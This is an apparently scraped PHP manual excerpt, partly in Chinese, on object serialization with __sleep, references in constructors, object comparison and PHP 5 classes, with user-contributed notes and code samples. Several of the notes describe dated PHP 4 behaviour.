If you want to ensure that all object vars are saved completely, try this:

<?php

class Foo
{
   function __sleep() {

       $objectVars = get_object_vars($this);
       $serializeVars = array();

       foreach ($objectVars as $key => $val) {
           $serializeVars[] = $sKey;
       }

       return $serializeVars;
   }
}

?>
rkelly at NO dot whitley dot unimelb dot SPAM dot edu dot au
30-Jan-2003 01:56
The documentation above says this function is 'supposed' to return an array with the names of variables to be saved.  What this in reality means is that if you dont, bad things will happen.

I had forgotten to return the requested array after using __sleep to shutdown LDAP connections in an object, and was attempting to save the object as part of a session.

Since __sleep was not returning anything, the serialisation was evidently not returning anything either.  This broke the stored session data, as one of the fields was completely missing and the unserialize parsing then failed.  Only by hacking through the serialised session data by hand was I able to track down the error, and my silly mistake.

Perhaps PHP should have some way of dealing with this eventuality (treat it like an empty array?) so that it doesnt break sessions...?

Anyway, hopefully this might save a few people the hours of headache I just went through.  Make sure you return something from this function!
michael_muir at dstoutput dot com
08-Oct-2002 03:21
The description isn't particularly clear about this, but it appears that if any variables identified in the array returned by __sleep() are objects, __sleep() will in turn be called on those objects. This is particularly useful if you have many levels of subordinate objects (not subclasses) stored in (for example) arrays. Simply return the array name from the 'top level' object's __sleep() and define a __sleep() for the object's class within the subordinate arrays and it shall be called for each.
scott at graphictype dot com
02-Aug-2001 02:33
Here is a sample class and some test statements to demonstrate how __sleep() is used.

If you do not return anything from __sleep(), your object will *not* be serialized.  You must return something from __sleep() to tell serialize what to serialize.

<?
// to test the class
$x = new Scott();
print_r($x);
$y = serialize($x);
$z = unserialize($y);
print_r($z);

// Simple class to test __sleep()
class Scott {
// class variables
var $error;
var $svar = array();

// constructor
function Scott() {
  $this->svar['Hello'] = "World";
}

function __sleep() {
  $this->svar['Hello'] = "Yawn";
  // return list of instance-variables to be serialized
  return array('error', 'svar');
}

function __wakeup() {
  $this->svar['test'] = "I'm here!";
}

}// end class
?>
agland at squiz dot net
26-Jun-2001 01:38
echoing output (even debugging statements) seems to cause problems in the __sleep() magic function. I suspect this is because, in the case of sessions, PHP is saving the session information (and running __sleep() in your object) after all the output has theoretically all been sent.

This resulted in the serialized object appearing as an empty string in our session files.
add a note add a note

后退 | 起点 | 前进
序列化对象 － 会话中的对象 | 上一级 | 构造函数中的引用


构造函数中的引用

在构造函数中创建引用可能会导致混淆的结果。本节以教程形式帮助避免问题。

<?php
class Foo {
    function Foo($name) {
        // 在全局数组 $globalref 中建立一个引用
        global $globalref;
        $globalref[] = &$this;
        // 将名字设定为传递的值
        $this->setName($name);
        // 并输出之
        $this->echoName();
    }

    function echoName() {
        echo "<br />",$this->name;
    }

    function setName($name) {
        $this->name = $name;
    }
}
?>

下面来检查一下用拷贝运算符 = 创建的 $bar1 和用引用运算符 =& 创建的 $bar2 有没有区别...

<?php
$bar1 = new Foo('set in constructor');
$bar1->echoName();
$globalref[0]->echoName();

/* 输出：
set in constructor
set in constructor
set in constructor */

$bar2 =& new Foo('set in constructor');
$bar2->echoName();
$globalref[1]->echoName();

/* 输出：
set in constructor
set in constructor
set in constructor */
?>

显然没有区别，但实际上有一个非常重要的区别：$bar1 和 $globalref[0] 并没有被引用，它们不是同一个变量。这是因为“new”默认并不返回引用，而返回一个拷贝。

注: 在返回拷贝而不是引用中并没有性能上的损失（因为 PHP 4 及以上版本使用了引用计数）。相反更多情况下工作于拷贝而不是引用上更好，因为建立引用需要一些时间而建立拷贝实际上不花时间（除非它们都不是大的数组或对象，而其中之一跟着另一个变，那使用引用来同时修改它们会更聪明一些）。

要证明以上写的，看看下面的代码。

<?php
// 现在改个名字，你预期什么结果？
// 你可能预期 $bar1 和 $globalref[0] 二者的名字都改了...
$bar1->setName('set from outside');

// 但如同前面说的，并不是这样。
$bar1->echoName();
$globalref[0]->echoName();

/* 输出为：
set from outside
set in constructor */

// 现在看看 $bar2 和 $globalref[1] 有没有区别
$bar2->setName('set from outside');

// 幸运的是它们不但相同，根本就是同一个变量。
// 因此 $bar2->name 和 $globalref[1]->name 也是同一个变量。
$bar2->echoName();
$globalref[1]->echoName();

/* 输出为：
set from outside
set from outside */
?>

最后给出另一个例子，试着理解它。

<?php
class A {
    function A($i) {
        $this->value = $i;
        // 试着想明白为什么这里不需要引用
        $this->b = new B($this);
    }

    function createRef() {
        $this->c = new B($this);
    }

    function echoValue() {
        echo "<br />","class ",get_class($this),': ',$this->value;
    }
}

class B {
    function B(&$a) {
        $this->a = &$a;
    }

    function echoValue() {
        echo "<br />","class ",get_class($this),': ',$this->a->value;
    }
}

// 试着理解为什么这里一个简单的拷贝会在下面用 *
// 标出来的行中产生预期之外的结果
$a =& new A(10);
$a->createRef();

$a->echoValue();
$a->b->echoValue();
$a->c->echoValue();

$a->value = 11;

$a->echoValue();
$a->b->echoValue(); // *
$a->c->echoValue();
?>

上例将输出：

class A: 10
class B: 10
class B: 10
class A: 11
class B: 11
class B: 11

add a note add a note User Contributed Notes
aib
01-Jun-2006 02:20
Note that the "new" operator no longer returns a copy of the constructed object, but the object itself. This behavior may be as of PHP 5.x.

This means that
$foo = new class();
and
$foo =& new class();
are equivalent now, and you don't have to worry about the problems stated on this page.

Consider the following example:

<?php
class foo
{
   var $num;

   function foo()
   {
       global $globalref;
       $globalref[] = &$this;
   }
}

$bar = new foo();
$bar->num = 1;
$globalref[0]->num = 2;

echo "\$bar->num = ".$bar->num."\n";
echo "\$globalref[0]->num = ".$globalref[0]->num."\n";
?>

On PHP 5.0.1, it will print:
$bar->num = 2
$globalref[0]->num = 2

Whereas on PHP 4.4.0, it would print:
$bar->num = 1
$globalref[0]->num = 2
unless you assigned $bar to a new foo using a reference.
info at keenkelly dot com
11-Feb-2005 09:24
Regarding the use of assignment versus reference operators as they pertain to using classes which register shutdown functions.

Here's an example:
<?php
class testclass {
       var $value;
       function testclass() {
               register_shutdown_function(array(&$this, 'tcshutdown'));
               $this->value = 1;
               print 'Construction value=[' . $this->value ."]\n";
       }

       function setvalue($value) {
               $this->value = $value;
       }

       function tcshutdown() {
               print 'Shutdown value=[' . $this->value ."]\n";
       }
}

$testobj = new testclass();
$testobj->setvalue(2);
?>

Despite changing the value to 2 after the object is constructed, the above code will result in the following output:

Construction value=[1]
Shutdown value=[1]

The reason is new testclass() constructs the object and registers tcshutdown function from that copy of the object. Then assigning it to $testobj makes a copy of the object accessible as $testobj. Altering $testobj values confines those changes to the $testobj copy and doesn't affect the original ("new") copy of the object. When shutdown time comes around and the tcshutdown() function is called, it calls the original ("new") copy of tcshutdown() NOT $testobj's copy. Thus tcshutdown() sees only the original member value that was initialized by the constructor before the object was copied to $testobj.

The way to resolve this is to, again, convert from assignment to a reference with the following alteration:

<?php
$testobj =& new testclass();
?>

With that change, running the code again will result in what we expected:

Construction value=[1]
Shutdown value=[2]

This of course allows the tcshutdown() function to perform shutdown operations based on parameters which were altered subsequent to the construction of the object.
denis at yum
01-Sep-2004 06:22
Construction Methods

In case of PHP versions earlier 5.x (or both) you have to consider, that an instance of a class is not fully allocated while the construction method(s) aren't finished.

For example, this solution could fail:

class Child
{
   var $c;

   function Child(&$parent)
   {
     $this->c = &$parent;
   }
}

class Test
{
   var $a;
   var $var;

   function Test ()
   {
     $this->var = 123;
     $this->a = &new Child($this);
   }
}

$b = &new Test();
$b->a->c->var = 456;
echo $b->var;

[outputs: 123]

In order of really allocated instance references, append referenced objects after (and not during) the construction.
phpnotes at robertdhill dot com
03-Jul-2004 03:29
An earler note asked why the equal operator doesn't just make a reference, assuming that a direct reference would always be desired.

The answer is because a direct reference is *not* always desired.

When you instantiate a class, you are creating an object that has its own copy of all the class variables, access to the class methods, etc.

Now say you've created an instance of a class "MyClass" called "myObjectA" and you've done some processing to it, set some variables or whatever. Now say you want to create a duplicate of the object to do some changes, but you want to *keep the original.*

That is what the assignment (=) operator is for.

If you'd made a reference (&=), then any changes you make to the duplicate are also reflected in the original. This is undesireable.

So there are circumstances where the assignment (=) operator is required, and there are circumstances where the reference (&=) operator is required.

It just depends on what you're doing.

Hope this helps.
php dot net at game-point dot net
17-Jun-2004 03:02
As a bit of a newbie to objects, I found the final example very hard to work out at first.  I'd like to try and explain more clearly:

It all centres around what the $this variable actually is.  The answer is, it's an object.  It's the object that the $this variable is currently inside.

So let's say we call the first instance of class A that is created by my script "Instance1".  If I say,
<?php
   class A {
       function test() {
           $foo = $this;
       }
   }

   $myclass = new A();
?>

... then $this is the object Instance1.  Note that it is *NOT* the same as the object $myclass, as $myclass is simply a *COPY* of the object Instance1.  This means that if you create an object using the copy (=) operator, there is an instance of the object (in this case, Instance1) hanging around unreferenced.

Whereas if we use the reference (=&) operator to create an object, the first instance (Instance1) is directly referenced by the variable specified, and no copy is created.  eg.
<?php
   class A {
       function test() {
           $foo = $this;
       }
   }

   $myclass =& new A();
?>

... this assigns the variable $myclass directly to Instance1, with no need for Instance1 to be copied.  There is only one instance of the class created, and it is assigned to $myclass.

In brief, if we use <--> to indicate a reference between a variable and an instance of a class:
Statement              | Results in...
$myclass = new A();    | Instance1 Instance2<-->$myclass      (Instance2 is a copy)
$myclass =& new A();    | Instance1<-->$myclass

All seems simple when you see the diagram, eh?  :-)  Of course, you may be asking the question, "Why doesn't the '=' operator just make $myclass reference first object Instance1?  Why would you ever need Instance1 to be copied, surely all you'd ever want or need is a direct reference to the newly created object Instance1?"  Well, that's the same question I and others are asking.  Hopefully this behaviour will change in a later version of PHP.

Hope that helps.
blueshadow822 at hotmail dot com
10-Feb-2004 07:20
Original : rick_php_net at roundeye dot net
Date : 01-Oct-2002 05:37
Modify : bitmore.co.kr

class StaticList {
   var $list = 0;

   function StaticList($name = '') {
       global $master;

       if (!isset($master)) {
           print "creating new list $name<Br>\n";
           //$master = $this;
           $master =& $this;
           $master->list = array();
       }else {
           print "creating new list $name... using global list<br>\n";
       }
       //$this->list =& $master->list;
       //$this->list = $master->list;
       return ($this);
   }

   function show() {
       if (is_array($this->list)) {
           if (count($this->list)) {
               reset($this->list);
               while (list($key, $value) = each($this->list)) {
                   print "list[$key] => $value<br>\n";
               }
           }else {
               print "list empty.<br>\n";
           }
       }else {
           print "list is not a list.<br>\n";
       }
   }

   function append($val) {
       if (!is_array($this->list)) {
           print "forced to create list...<br>\n";
           $this->list = array();
       }else {
           print "appending $val to list<br>\n";
           $this->list[] = $val;
       }
   }
}

$a = new StaticList("a");
$a->append(1);
$a->append(2);

$b = new StaticList("b");
$b->append(3);
$b->append(4);
$a->append(5);
$b->append(6);

print "Contents of a:<br>\n";
$a->show();

print "Contents of a:<br>\n";
$b->show();

this Show Printing

creating new list a
appending 1 to list
appending 2 to list
creating new list b
appending 3 to list
appending 4 to list
appending 5 to list
appending 6 to list
Contents of a:
list[0] => 1
list[1] => 2
list[2] => 5
Contents of a:
list[0] => 3
list[1] => 4
list[2] => 6
kyong
30-Jan-2004 10:45
Here's a reminder to those of you are going to use
PHP 5.0.0b3. You don't need to add & before $this any more
to get that object reference.
jjh at gmx dot at
26-Apr-2003 04:52
This is another sample script to demonstrate the use of references on objects.
To test the script first replace all <b r> (note the space!) tags by normal
HTML-linke-brakes! Normal line brakes (what a shame!) cannot be shown inside a
php.net-note!!!

<?
// Class C contains instances of class A and class B.
//
// A should "know" B and B should "know" A.
// In other words: Object A should have a Reference on
// object B and vice versa.

class A {
   var $a;
   var $a_b; // this links to object B
   function A() {
       $this->a="set by constructor of A";
   }

   function getToKnowB(&$b) {
       $this->a_b =& $b;
   }
}
class B {
   var $b;
   var $b_a; // this links to object A
   function B() {
       $this->b="set by constructor of B";
   }

   function getToKnowA(&$a) {
       $this->b_a =& $a;
   }
}
class C {
   var $myA;
   var $myB;

   function C() {
       // Create Objects A and B
       $this->myA = new A;
       $this->myB = new B();

       // "Introduce" A and B to each other
       $this->myA->getToKnowB($this->myB);
       $this->myB->getToKnowA($this->myA);

       // Prove that A and B are using References (not copies!)
       echo "Prove that myA->a equals myB->b_a->a<br>";
       $this->myA->a = "one";
       echo "this->myA->a is set to ".$this->myA->a."<br>";

       $this->myB->b_a->a = "two";
       echo "this->myB->b_a->a is set to ".$this->myB->b_a->a."<br>";

       echo "this->myA->a: ".$this->myA->a."<br>";
       echo "this->myB->b_a->a: ".$this->myB->b_a->a."<br>";

       echo "<br>";

       echo "Prove that myB->b equals myA->a_b->b<br>";
       $this->myB->b = "one";
       echo "this->myB->b is set to ".$this->myB->b."<br>";

       $this->myA->a_b->b = "two";
       echo "this->myA->a_b->b is set to ".$this->myA->a_b->b."<br>";

       echo "this->myB->b: ".$this->myB->b."<br>";
       echo "this->myA->a_b->b: ".$this->myA->a_b->b."<br>";

   }
}

$myC = new C;

/*
evaluates to:

Prove that myA->a equals myB->b_a->a
this->myA->a is set to one
this->myB->b_a->a is set to two
this->myA->a: two
this->myB->b_a->a: two

Prove that myB->b equals myA->a_b->b
this->myB->b is set to one
this->myA->a_b->b is set to two
this->myB->b: two
this->myA->a_b->b: two
*/
?>
rick_php_net at roundeye dot net
01-Oct-2002 07:37
I was attempting to find a way to share data structures between objects and ideally wanted to be able to have a single shared object that would be returned as a reference from the constructor -- without having the caller use a different syntax.

I couldn't get the effect I wanted, but was able to share the internal data structures (which is where the bulk of the storage was in my application).  This is an example class I constructed (requires php >= 4.0.4) which illustrates the idea:

   class StaticList
   {
       var $list = 0;

       function StaticList($name = '')
       {
           global $master;

           if (!isset($master))
           {
               print "creating new list $name<Br>\n";
               $master = $this;
               $master->list = array();
           }
           else
           {
               print "creating new list $name... using global list<br>\n";
           }
           $this->list =& $master->list;
           return ($this);
       }

       function show()
       {
           if (is_array($this->list))
           {
               if (count($this->list))
               {
                   reset($this->list);
                   while (list($key, $value) = each($this->list))
                   {
                       print "list[$key] => $value<br>\n";
                   }
               }
               else
               {
                   print "list empty.<br>\n";
               }
           }
           else
           {
               print "list is not a list.<br>\n";
           }
       }

       function append($val)
       {
           if (!is_array($this->list))
           {
               print "forced to create list...<br>\n";
               $this->list = array();
           }
           else
           {
               print "appending $val to list<br>\n";
               $this->list[] = $val;
           }
       }
   }

   $a = new StaticList("a");
   $a->append(1);
   $a->append(2);

   $b = new StaticList("b");
   $b->append(3);
   $b->append(4);
   $a->append(5);
   $b->append(6);

   print "Contents of a:<br>\n";
   $a->show();

   print "Contents of a:<br>\n";
   $b->show();
rpav at NOSPAMusers dot sf dot net
14-Aug-2002 06:13
Ah HA! I just found an easy workaround with a bit of playing.  This works:

--- cut ---
$OBJECTS = array();

class Object {
   function &Object() {
       global $OBJECTS;
       $OBJECTS[] = &$this;
   }

   function _init() {

   }
}

class Derived {
   function &Derived() {
       Object::Object();
   }
}

function blah() {
   global $FOO;

   $x =& new Derived;
   $GLOBALS['FOO'] = &$x;
   $x->foo = 42;
   display("x", $x);
}

function display($text, &$o) {
   echo("($text) =>" . serialize($o));
}

blah();
display("GLOBALS[FOO]", $GLOBALS['FOO']);
display("OBJECTS", $OBJECTS);
--- cut ---

As you can see, simply adding & before the constructor to make it return a reference does the trick.  The bit about "returning a copy by default" lead me to try this trick, and it seems to work.  Have fun!

-rjp
add a note add a note

后退 | 起点 | 前进
魔术函数 __sleep 和 __wakeup | 上一级 | 对象的比较


对象的比较

在 PHP 4 中，对象比较的规则十分简单：如果两个对象是同一个类的实例，且它们有相同的属性和值，则这两个对象相等。类似的规则还适用与用全等符（===）对两个对象的比较。

如果执行以下范例中的代码：

例子 18-1. PHP 4 中对象比较范例

<?php
function bool2str($bool) {
    if ($bool === false) {
            return 'FALSE';
    } else {
            return 'TRUE';
    }
}

function compareObjects(&$o1, &$o2) {
    echo 'o1 == o2 : '.bool2str($o1 == $o2)."\n";
    echo 'o1 != o2 : '.bool2str($o1 != $o2)."\n";
    echo 'o1 === o2 : '.bool2str($o1 === $o2)."\n";
    echo 'o1 !== o2 : '.bool2str($o1 !== $o2)."\n";
}

class Flag {
    var $flag;

    function Flag($flag=true) {
            $this->flag = $flag;
    }
}

class SwitchableFlag extends Flag {

    function turnOn() {
        $this->flag = true;
    }

    function turnOff() {
        $this->flag = false;
    }
}

$o = new Flag();
$p = new Flag(false);
$q = new Flag();

$r = new SwitchableFlag();

echo "Compare instances created with the same parameters\n";
compareObjects($o, $q);

echo "\nCompare instances created with different parameters\n";
compareObjects($o, $p);

echo "\nCompare an instance of a parent class with one from a subclass\n";
compareObjects($o, $r);
?>

上例将输出：

Compare instances created with the same parameters
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Compare instances created with different parameters
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Compare an instance of a parent class with one from a subclass
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE
这和按照比较规则推测的结果一致。当且仅当出自同一个类且属性及其值都相同的对象被认为是相等且完全相同的。

即使对于具有对象成分的类，比较的规则也相同。在以下的范例中建立了一个容器类来储存 Flag 对象的一个相关数组。

例子 18-2. PHP 4 中复合对象的比较

<?php
class FlagSet {
    var $set;

    function FlagSet($flagArr = array()) {
        $this->set = $flagArr;
    }

    function addFlag($name, $flag) {
        $this->set[$name] = $flag;
    }

    function removeFlag($name) {
        if (array_key_exists($name, $this->set)) {
            unset($this->set[$name]);
        }
    }
}

$u = new FlagSet();
$u->addFlag('flag1', $o);
$u->addFlag('flag2', $p);
$v = new FlagSet(array('flag1'=>$q, 'flag2'=>$p));
$w = new FlagSet(array('flag1'=>$q));

echo "\nComposite objects u(o,p) and v(q,p)\n";
compareObjects($u, $v);

echo "\nu(o,p) and w(q)\n";
compareObjects($u, $w);
?>

上例将输出：

Composite objects u(o,p) and v(q,p)
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

u(o,p) and w(q)
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

add a note add a note User Contributed Notes
magicturkey at gmail dot com
29-Mar-2006 11:15
If youre just checking to see if the variables both reference the same object, instead of having a variable set up beforehand you could do away with the GLOBALS and have something like..
e.g.

<?php
class Foo {
  var $serial;
  function Foo() {
   // Rest of constructor...
  }
  // Rest of class definition...
}

$baz->serial = -1;
$bar->serial = time();
if($bar->serial == $baz->serial) {
  echo "Same";
}
?>
pferlet at aston dot fr
29-Apr-2005 08:24
Using globals isn't really well... you can use pattern singleton to verify this.
jazfresh at hotmail dot com
09-Apr-2004 12:44
An addendum to the post below:

If you are comparing two objects and you know that they will be of the same type (you're just not sure if they refer to the same object or not), then there is an easier and faster way to do the comparison, and this also avoids the infinite recursion problem with circular references described in the post below.

In the constructor of your object, set a "serial" attribute from a global variable that is incremented whenever a new object is created. Then you just have to compare serial numbers to see if the objects are the same.

e.g.

<?php
$FooSerial = 0;
class Foo {
  var $serial;
  function Foo() {
   $this->serial = $GLOBALS['FooSerial']++;
   // Rest of constructor...
  }
  // Rest of class definition...
}

if($bar->serial == $baz->serial) {
  echo "Same";
}
?>
jazfresh at hotmail dot com
08-Apr-2004 12:18
PHP4 compares two objects (say, $a and $b) by comparing the type and all the attributes. If an attribute is an object, PHP4 will recursively call "if($a.attribute === $b.attribute)" to determine equality. However, this is a problem if a circular reference has been formed. The recursion will go on forever, and you will get the error message:

"Fatal error: Nesting level too deep - recursive dependency?"

Example, where the comparison will never terminate because PHP4 will forever recurse with comparisons of the attribute.
<?php
class Test {
       var $obj;
}
$foo =& new Test;
$bar =& new Test;
$foo->obj =& $bar; // Make circular reference
$bar->obj =& $foo;

if($foo === $bar) {
       baz();
}
?>
First PHP4 does ($foo === $bar), which expands into ($foo.obj === $bar.obj), which expands into ($bar.obj === $foo.obj), and so on and so on.

To avoid this situation, you must compare objects manually by comparing the two object's attributes and avoiding comparisons on attributes where a circular reference could arise.

This issue is easily avoided in PHP5, where objects can be compared via references rather than the object contents.
add a note add a note

后退 | 起点 | 前进
构造函数中的引用 | 上一级 | 类与对象（PHP 5）


类与对象（PHP 5）

PHP 手册
后退 前进

章 19. 类与对象（PHP 5）

目录
前言
基本概念
自动加载对象
构造函数和析构函数
Visibility
Scope Resolution Operator (::)
Static Keyword
Class Constants
Class Abstraction
Object Interfaces
Overloading
Object Iteration
Patterns
Magic Methods
Final Keyword
Object cloning
Comparing objects
Reflection
Type Hinting

前言

PHP 5 引入了新的对象模型（Object Model）。完全重写了 PHP 处理对象的方式，允许更佳性能和更多特性。

add a note add a note User Contributed Notes
01-May-2006 09:06
Members can be added to instances on the fly.
Simply use
$apple= new fruit();
$pear=new fruit();
$apple->color='red';
$pear->smell='sweet';

and $apple only will contain a member (field) color, but $pear only will contain a field smell.

It is not clear however whether members an be added to the class at large on the fly.
26-Apr-2006 10:53
<?php
if (class_exists("cl_test")) return;

echo "ppppp";

class cl_test{
  function cl_test(){
   echo "quirky...";
  }
} // class definition ends

?>

although the logic is clear php treats the above code differently.  PHP translates it to:

class cl_test{
  function cl_test(){
   echo "quirky...";
  }
} // class definition ends

if (class_exists("cl_test")) return;

echo "ppppp";

If you must have the previous logic to work you are forced to have the following code:

if (!class_exists("cl_test")) {

     echo "ppppp";

     class cl_test{
       function cl_test(){
           echo "quirky...";
       }
     } // class definition ends
}
epeterson5 at student dot gsu dot edu
08-Oct-2005 01:46
This isn't explicity noted anywhere, I don't think.
If you use a variable after the "->" part of a class attribute call, it will parse the variable as a string to assign/compare that class attribute:

<?php
class User {
   var $test;
   var $test2;
}

$user1 = new User();
$user2 = new User();
$user1->test = "user1's test";
$user1->test2 = "user1's test2";
$user2->test = "user2's test";
$user2->test2 = "user2's test2";

print_r($user1); print_r($user2);

foreach($user1 as $key => $value)
   $user2->$key = $value;

print_r($user1); print_r($user2);
?>

Which outputs:

User Object: user1
   [test] => user1's test
   [test2] => user1's test2
User Object: user2
   [test] => user2's test
   [test2] => user2's test2
User Object: user1
   [test] => user1's test
   [test2] => user1's test2
User Object: user2
   [test] => user1's test
   [test2] => user1's test2

This is particularly useful when you want to assign a different instance of the same class to $this- I have a standard method that I call when I need to do that:

<?php

   function assignToThis($new)  {
       foreach($new as $key => $value)
           $this->$key=$value;
   }
?>
turgut85 at hotmail dot com
30-Jun-2005 09:04
<?PHP

// How to hold objects in an arrayList and retrieve it //
// Interface implementation //

class Data {

   public $Name;
   public $Age;
   public $Address;

   public function __construct($Name,$Age,$Address) {
       $this->Name = $Name;
       $this->Age = $Age;
       $this->Address = $Address;
   }

   public function __destruct() {
       echo "Default Constructor...\n";
   }

}

$ArrayList = array();

$ArrayList[0] = new Data("John McDonald","65","Address");
$ArrayList[1] = new Data("Turgut Z. Yesilyurt","30","NJ, USA");
$ArrayList[2] = new Data("Maria ","25","NJ, USA");

print_r($ArrayList);

$obj1 = $ArrayList[1];
echo "Name : ".$obj1->Name."\n";
echo "Age  : ".$obj1->Age."\n";
echo "Address : ".$obj1->Address."\n";

// Interface Usage //
interface ShowMe {
   public function ShowName();
}

class ShowData implements ShowMe {
   public $obj;
public function __construct($Obj) {
   $this->obj = $Obj;
   $this->ShowName();
}

public function ShowName() {
   echo "Age  : ".$this->obj->Age."\n";
}
}

echo "\nDisplay Single Data =========================\n\n";
new ShowData($ArrayList[1]);
echo "\n=============================================\n";

// Turgut Z. YESILYURT, MS
// Software Developer //
// NJ, USA  //

?>

Array
(
   [0] => Data Object
       (
           [Name] => John McDonald
           [Age] => 65
           [Address] => Address
       )

   [1] => Data Object
       (
           [Name] => Turgut Z. Yesilyurt
           [Age] => 30
           [Address] => NJ, USA
       )

   [2] => Data Object
       (
           [Name] => Maria
           [Age] => 25
           [Address] => NJ, USA
       )

)
Name : Turgut Z. Yesilyurt
Age  : 30
Address : NJ, USA

Display Single Data =========================

Age  : 30

=============================================
Default Constructor...
Default Constructor...
Default Constructor...
zabmilenko at hotmail dot com
27-Jun-2005 03:27
Dynamic instantiation trick:

<?php

class CITY
{
   private $population;

   public function __construct($cityname)
   {
       // Load some city-specific data
   }

   public function population($demographic = 'all')
   {
       return $this->population[$demographic];
   }
}

class COUNTRY
{
   private $code = null;
   private $cities = array();

   public function __construct($code)
   {
       $this->code = $code;
   }

   public function city($cityname)
   {
       if (!$this->cities[$cityname])
       {
           $this->cities[$cityname] = new CITY($cityname);
       }

       return $this->cities[$cityname];
   }
}

class WORLD
{
   private $countries = array();

   public function country($code = 'us')
   {
       if (!$this->countries[$code])
       {
           $this->countries[$code] = new COUNTRY($code);
       }

       return $this->countries[$code];
   }
}

$world = new WORLD;

// Load the country AND city object
echo $world->country('us')->city('seattle')->population('employed');

// Country US is already loaded, only need to load a new city object.
echo $world->country('us')->city('new york')->population();

?>

This example uses Countries and Cities wrapped around a World object.  You can use any schema you want, however.  Think:  Domain->Subdomain->Node or KINGDOM->PHYLUM->CLASS->ORDER->FAMILY->GENUS->SPECIES

What is happening here is that a private array is storing the class objects.  Only the class objects that are needed are loaded, when they are needed.  You can nest this many many times as needed.

You see that the array is never exposed.  Each function reference will check to see if a new class object is needed and create it if necessary.

This is literally as simple as it looks.  Hope it helps someone out.
Obeliks
11-Jun-2005 05:56
You can call parent::__construct(), even if the class yours inherits from uses the old constructor style "Classname()".

Example:

<?php

class A {
  function A() {
   echo 'Constructor of A<br/>';
  }
}

class B extends A {
  function __construct() {
   parent::__construct();
   echo 'Constructor of B<br/>';
  }
}

class C extends A {
  function __construct() {
   parent::A();
   echo 'Constructor of C<br/>';
  }
}

$b = new B();
echo '<br/>';
$c = new C();

/* will output:
Constructor of A
Constructor of B

Constructor of A
Constructor of C
*/

?>

So you see you can also call parent::Classname() if your superclass uses this format. Keep in mind that it doesn't work the other way round though:

<?php

class A {
  function __construct() {
   echo 'Constructor of A<br/>';
  }
}

class B extends A {
  function __construct() {
   parent::A();
   echo 'Constructor of B<br/>';
  }
}

$b = new B();

/* will output:
Fatal error: Call to undefined method A::a() in __FILE__ on line __LINE__
*/

?>

So it's always the best choice to use the __construct style! (at least if you're running PHP5)
bartlewis at gmail dot com
08-Jun-2005 09:29
In regards to gaehngaehn at hotmail dot com...

More simply, to create an object from a class using a variable, just try the following.

$a = new $class();

Works in php4 and php5.
Sb.
28-May-2005 12:50
We can't create easily anonymous objects like in JavaScript.
JS example :

   var o = {
       aProperty : "value",
       anotherProperty : [ "element 1", "element 2" ] } ;
   alert(o.anotherProperty[1]) ; // "element 2"

So I have created a class Object :

   class Object {
       function __construct( ) {
           $n = func_num_args( ) ;
           for ( $i = 0 ; $i < $n ; $i += 2 ) {
               $this->{func_get_arg($i)} = func_get_arg($i + 1) ;
           }
       }
   }

   $o = new Object(
       'aProperty', 'value',
       'anotherProperty', array('element 1', 'element 2')) ;
   echo $o->anotherProperty[1] ; // "element 2"

You must feel free to make it better :)
AJG
16-May-2005 11:13
[Note from et@php.net:
Your way to create a new, empty, generic object is:
<?php $obj = new stdClass(); ?>
]

I never found a way to create a new, empty, generic object so I coded something up myself. In addition, let me show you some imperfect examples.

<?
   // Incorrect:
   $obj1 = (object) '';
   $obj2 = (object) 0;
   $obj3 = (object) 1;
   $obj4 = (object) true;
   $obj5 = (object) false;

   // Syntax error:
   $obj6 = (object);

   // Correct:
   $obj7 = (object) NULL;
?>

The first five ones will work, but will create a 'scalar' field in the object. This is undesirable at best, and can be a real nuisance when doing object automation. For that reason, I now use the following function, which produces a 'clean' object. It's also better semantically, in my opinion.

<?
   function object() { return ((object) NULL); }

   // Usage:
   $object = object();

   // Just like:
   $array = array();
?>

Please post if you see any problems arising due to this method; thanks. Otherwise enjoy.
--AJG.
29-Mar-2005 07:21
There are 3 simple, and utterly annoying problems with your classes (not because of how you want them to work, but because how the Zend II engine handles them):

1) You cannot type hint string or int/integer in a method signature. This is incredibly annoying that the Zend II engine doesn't support it, but there are workarounds.
2) Supplying null in a method signature for a default value means that you will not accept any null value for that parameter. (therefore the method doesn't need to check if the parameters are null anyway).
3) Sadly, overriding methods is only possible with the Zend II engine via Inheritance or Polymorphism, ( and __construct() can only be defined within a class). If you want to override a method in the same class, my suggestion is to provide the method signature with a $flag = null variable, which you call a SWITCH on to pick what the data should do.

==============================================
Other than the afformentioned, the Zend II engine works very similarly to Java, which has made PHP much more versatile and robust in version 5. Thank you again Zend!
spam at afoyi dot com
21-Mar-2005 09:18
You can call a function defined in an inherited class from the parent class. This works in both PHP 4.3.6 and 5.0.0:

<?php

class p {

   function p() {
       print "Parent's constructor\n";
   }

   function p_test() {
       print "p_test()\n";
       $this->c_test();
   }
}

class c extends p {

   function c() {
       print "Child's constructor\n";
       parent::p();
   }

   function c_test() {
       print "c_test()\n";
   }
}

$obj = new c;
$obj->p_test();

?>

Outputs:

Child's constructor
Parent's constructor
p_test()
c_test()
farzan at ifarzan dot com
06-Oct-2004 07:04
PHP 5 is very very flexible in accessing member variables and member functions. These access methods maybe look unusual and unnecessary at first glance; but they are very useful sometimes; specially when you work with SimpleXML classes and objects. I have posted a similar comment in SimpleXML function reference section, but this one is more comprehensive.

I use the following class as reference for all examples:
<?
class Foo {
   public $aMemberVar = 'aMemberVar Member Variable';
   public $aFuncName = 'aMemberFunc';

   function aMemberFunc() {
       print 'Inside `aMemberFunc()`';
   }
}

$foo = new Foo;
?>

You can access member variables in an object using another variable as name:
<?
$element = 'aMemberVar';
print $foo->$element; // prints "aMemberVar Member Variable"
?>

or use functions:
<?
function getVarName()
{ return 'aMemberVar'; }

print $foo->{getVarName()}; // prints "aMemberVar Member Variable"
?>

Important Note: You must surround function name with { and } or PHP would think you are calling a member function of object "foo".

you can use a constant or literal as well:
<?
define(MY_CONSTANT, 'aMemberVar');
print $foo->{MY_CONSTANT}; // Prints "aMemberVar Member Variable"
print $foo->{'aMemberVar'}; // Prints "aMemberVar Member Variable"
?>

You can use members of other objects as well:
<?
print $foo->{$otherObj->var};
print $foo->{$otherObj->func()};
?>

You can use mathods above to access member functions as well:
<?
